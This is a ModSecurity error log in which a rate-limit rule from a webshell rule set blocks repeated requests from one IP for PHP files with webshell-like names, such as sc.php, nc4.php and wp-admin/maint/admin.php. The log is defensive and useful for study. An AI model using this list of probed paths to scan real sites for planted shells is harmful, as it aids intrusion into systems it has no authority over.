[Sun Mar 22 20:22:53.966307 2026] [:error] [pid 51363:tid 51432] [client 172.213.208.27:52895] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "ab_fHVwa9x6OCTRkhl26HAAAAIQ"]
[Sun Mar 22 20:22:54.614587 2026] [:error] [pid 51361:tid 51373] [client 172.213.208.27:19422] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "ab_fHhXYUsdvKC9YWpXhCgAAAAI"]
[Sun Mar 22 20:22:55.209062 2026] [:error] [pid 30166:tid 30198] [client 172.213.208.27:14421] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "ab_fH7m4_26jKMD0zy3sJgAAAVU"]
[Sun Mar 22 20:22:55.961882 2026] [:error] [pid 51361:tid 51384] [client 172.213.208.27:21684] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "ab_fHxXYUsdvKC9YWpXhDQAAAA0"]
[Sun Mar 22 20:22:56.736156 2026] [:error] [pid 51361:tid 51387] [client 172.213.208.27:36120] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "ab_fIBXYUsdvKC9YWpXhDwAAAA8"]
[Sun Mar 22 20:22:57.364374 2026] [:error] [pid 51363:tid 51438] [client 172.213.208.27:10378] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "ab_fIVwa9x6OCTRkhl26IgAAAIk"]
[Sun Mar 22 20:22:58.182675 2026] [:error] [pid 51361:tid 51388] [client 172.213.208.27:29871] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "ab_fIhXYUsdvKC9YWpXhEwAAABA"]
[Sun Mar 22 20:22:58.795863 2026] [:error] [pid 51362:tid 51419] [client 172.213.208.27:24327] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mis.php"] [unique_id "ab_fIsOwPm3DXzTDjUfBZwAAAFI"]
[Sun Mar 22 20:22:59.478615 2026] [:error] [pid 30166:tid 30183] [client 172.213.208.27:36105] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "ab_fI7m4_26jKMD0zy3sKwAAAUg"]
[Sun Mar 22 20:23:00.288038 2026] [:error] [pid 51362:tid 51400] [client 172.213.208.27:22039] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "ab_fJMOwPm3DXzTDjUfBagAAAEA"]
[Sun Mar 22 20:23:01.337714 2026] [:error] [pid 30166:tid 30171] [client 172.213.208.27:14403] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "ab_fJbm4_26jKMD0zy3sOgAAAUE"]
[Sun Mar 22 20:23:02.507521 2026] [:error] [pid 30166:tid 30200] [client 172.213.208.27:24391] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "ab_fJrm4_26jKMD0zy3sQgAAAVc"]
[Sun Mar 22 20:23:03.527746 2026] [:error] [pid 51361:tid 51372] [client 172.213.208.27:10253] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "ab_fJxXYUsdvKC9YWpXhFgAAAAE"]
[Sun Mar 22 20:23:19.479310 2026] [:error] [pid 51362:tid 51420] [client 172.213.208.27:21707] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ab_fN8OwPm3DXzTDjUfBiwAAAFM"]
[Sun Mar 22 20:23:21.659710 2026] [:error] [pid 30166:tid 30171] [client 172.213.208.27:26663] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ab_fObm4_26jKMD0zy3seAAAAUE"]
[Sun Mar 22 20:23:23.603100 2026] [:error] [pid 51361:tid 51392] [client 172.213.208.27:39962] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ab_fOxXYUsdvKC9YWpXhLQAAABQ"]
[Sun Mar 22 20:23:24.807584 2026] [:error] [pid 30166:tid 30184] [client 172.213.208.27:9542] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "ab_fPLm4_26jKMD0zy3shAAAAUk"]
[Sun Mar 22 20:23:26.116289 2026] [:error] [pid 51361:tid 51380] [client 172.213.208.27:61630] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ab_fPhXYUsdvKC9YWpXhMQAAAAk"]
[Sun Mar 22 20:23:27.175830 2026] [:error] [pid 30166:tid 30193] [client 172.213.208.27:8232] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ab_fP7m4_26jKMD0zy3sjQAAAVI"]
[Sun Mar 22 20:23:28.831486 2026] [:error] [pid 51468:tid 51480] [client 172.213.208.27:12346] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ab_fQE2TppSvA8W5CBRUsAAAAMQ"]
[Sun Mar 22 20:23:29.623521 2026] [:error] [pid 40039:tid 40055] [client 172.213.208.27:16348] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v3.php"] [unique_id "ab_fQR3aDgUJfBYishm1VAAAAQ4"]
[Sun Mar 22 20:23:30.267889 2026] [:error] [pid 40039:tid 40053] [client 172.213.208.27:13082] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ab_fQh3aDgUJfBYishm1WwAAAQw"]
[Sun Mar 22 20:23:31.136154 2026] [:error] [pid 40039:tid 40062] [client 172.213.208.27:1837] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ab_fQx3aDgUJfBYishm1YAAAARU"]
[Sun Mar 22 20:23:32.134626 2026] [:error] [pid 40039:tid 40060] [client 172.213.208.27:35644] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ab_fRB3aDgUJfBYishm1YQAAARM"]
[Sun Mar 22 20:23:33.107635 2026] [:error] [pid 51468:tid 51486] [client 172.213.208.27:10041] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ab_fRU2TppSvA8W5CBRUugAAAMo"]
[Sun Mar 22 20:23:34.234111 2026] [:error] [pid 51362:tid 51416] [client 172.213.208.27:12659] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ab_fRsOwPm3DXzTDjUfBjQAAAE8"]
[Sun Mar 22 20:23:35.918716 2026] [:error] [pid 51468:tid 51495] [client 172.213.208.27:47689] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ab_fR02TppSvA8W5CBRUvAAAANM"]
[Sun Mar 22 20:23:36.699680 2026] [:error] [pid 51468:tid 51487] [client 172.213.208.27:61643] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ab_fSE2TppSvA8W5CBRUwAAAAMs"]
[Sun Mar 22 20:23:38.679385 2026] [:error] [pid 51363:tid 51453] [client 172.213.208.27:1891] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/to.php"] [unique_id "ab_fSlwa9x6OCTRkhl26MQAAAJc"]
[Sun Mar 22 20:23:39.644658 2026] [:error] [pid 30166:tid 30189] [client 172.213.208.27:17895] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "ab_fS7m4_26jKMD0zy3sqQAAAU4"]
[Sun Mar 22 20:23:40.734682 2026] [:error] [pid 51468:tid 51477] [client 172.213.208.27:9465] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "ab_fTE2TppSvA8W5CBRUxQAAAME"]
[Sun Mar 22 20:23:42.038610 2026] [:error] [pid 40039:tid 40052] [client 172.213.208.27:8789] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "ab_fTh3aDgUJfBYishm1gwAAAQs"]
[Sun Mar 22 20:23:42.964099 2026] [:error] [pid 30166:tid 30187] [client 172.213.208.27:8881] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wqqs.php"] [unique_id "ab_fTrm4_26jKMD0zy3sqgAAAUw"]
[Sun Mar 22 20:23:43.656189 2026] [:error] [pid 51468:tid 51484] [client 172.213.208.27:24391] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "ab_fT02TppSvA8W5CBRUywAAAMg"]
[Sun Mar 22 20:23:44.526562 2026] [:error] [pid 51362:tid 51416] [client 172.213.208.27:8418] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "ab_fUMOwPm3DXzTDjUfBmQAAAE8"]
[Sun Mar 22 20:23:45.417934 2026] [:error] [pid 30166:tid 30171] [client 172.213.208.27:2003] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "ab_fUbm4_26jKMD0zy3srwAAAUE"]
[Sun Mar 22 20:23:46.198892 2026] [:error] [pid 30166:tid 30200] [client 172.213.208.27:9494] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wps.php"] [unique_id "ab_fUrm4_26jKMD0zy3stgAAAVc"]
[Sun Mar 22 20:23:46.818669 2026] [:error] [pid 51361:tid 51397] [client 172.213.208.27:11578] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_fUhXYUsdvKC9YWpXhXQAAABg"]
[Sun Mar 22 20:23:47.477611 2026] [:error] [pid 51361:tid 51381] [client 172.213.208.27:2010] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_fUxXYUsdvKC9YWpXhYAAAAAo"]
[Sun Mar 22 20:23:48.465272 2026] [:error] [pid 51361:tid 51396] [client 172.213.208.27:39934] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_fVBXYUsdvKC9YWpXhZgAAABc"]
[Sun Mar 22 20:23:49.217380 2026] [:error] [pid 51468:tid 51492] [client 172.213.208.27:7363] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inege.php"] [unique_id "ab_fVU2TppSvA8W5CBRUzgAAANA"]
[Sun Mar 22 20:23:49.996365 2026] [:error] [pid 30166:tid 30182] [client 172.213.208.27:10949] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "ab_fVbm4_26jKMD0zy3swgAAAUc"]
[Sun Mar 22 20:23:50.830499 2026] [:error] [pid 51468:tid 51496] [client 172.213.208.27:11567] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "ab_fVk2TppSvA8W5CBRU0QAAANQ"]
[Sun Mar 22 20:23:51.679251 2026] [:error] [pid 40039:tid 40042] [client 172.213.208.27:7421] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "ab_fVx3aDgUJfBYishm1lgAAAQE"]
[Sun Mar 22 20:23:52.374184 2026] [:error] [pid 51468:tid 51486] [client 172.213.208.27:11559] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "ab_fWE2TppSvA8W5CBRU1AAAAMo"]
[Sun Mar 22 20:23:53.855575 2026] [:error] [pid 40039:tid 40048] [client 172.213.208.27:7597] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ab_fWR3aDgUJfBYishm1mAAAAQc"]
[Sun Mar 22 20:23:55.031524 2026] [:error] [pid 51361:tid 51385] [client 172.213.208.27:8477] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ab_fWxXYUsdvKC9YWpXhdAAAAA4"]
[Sun Mar 22 20:23:56.860411 2026] [:error] [pid 40039:tid 40043] [client 172.213.208.27:26144] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ab_fXB3aDgUJfBYishm1nAAAAQI"]
[Sun Mar 22 20:23:58.027344 2026] [:error] [pid 51363:tid 51434] [client 172.213.208.27:7312] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tool.php"] [unique_id "ab_fXlwa9x6OCTRkhl26OAAAAIY"]
[Sun Mar 22 20:23:59.712761 2026] [:error] [pid 51363:tid 51453] [client 172.213.208.27:8496] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "ab_fX1wa9x6OCTRkhl26QQAAAJc"]
[Sun Mar 22 20:24:02.122514 2026] [:error] [pid 40039:tid 40047] [client 172.213.208.27:18683] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "ab_fYh3aDgUJfBYishm1owAAAQY"]
[Sun Mar 22 20:24:05.380081 2026] [:error] [pid 30166:tid 30171] [client 172.213.208.27:2012] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "ab_fZbm4_26jKMD0zy3sygAAAUE"]
[Sun Mar 22 20:24:06.824299 2026] [:error] [pid 30166:tid 30182] [client 172.213.208.27:13980] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/feokc.php"] [unique_id "ab_fZrm4_26jKMD0zy3s0AAAAUc"]
[Sun Mar 22 20:24:07.447363 2026] [:error] [pid 51468:tid 51483] [client 172.213.208.27:26153] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "ab_fZ02TppSvA8W5CBRU5QAAAMc"]
[Sun Mar 22 20:24:08.106534 2026] [:error] [pid 51362:tid 51413] [client 172.213.208.27:59656] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "ab_faMOwPm3DXzTDjUfBqQAAAEw"]
[Sun Mar 22 20:24:09.140014 2026] [:error] [pid 51468:tid 51480] [client 172.213.208.27:11542] [client 172.213.208.27] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nc4.php"] [unique_id "ab_faU2TppSvA8W5CBRU6gAAAMQ"]
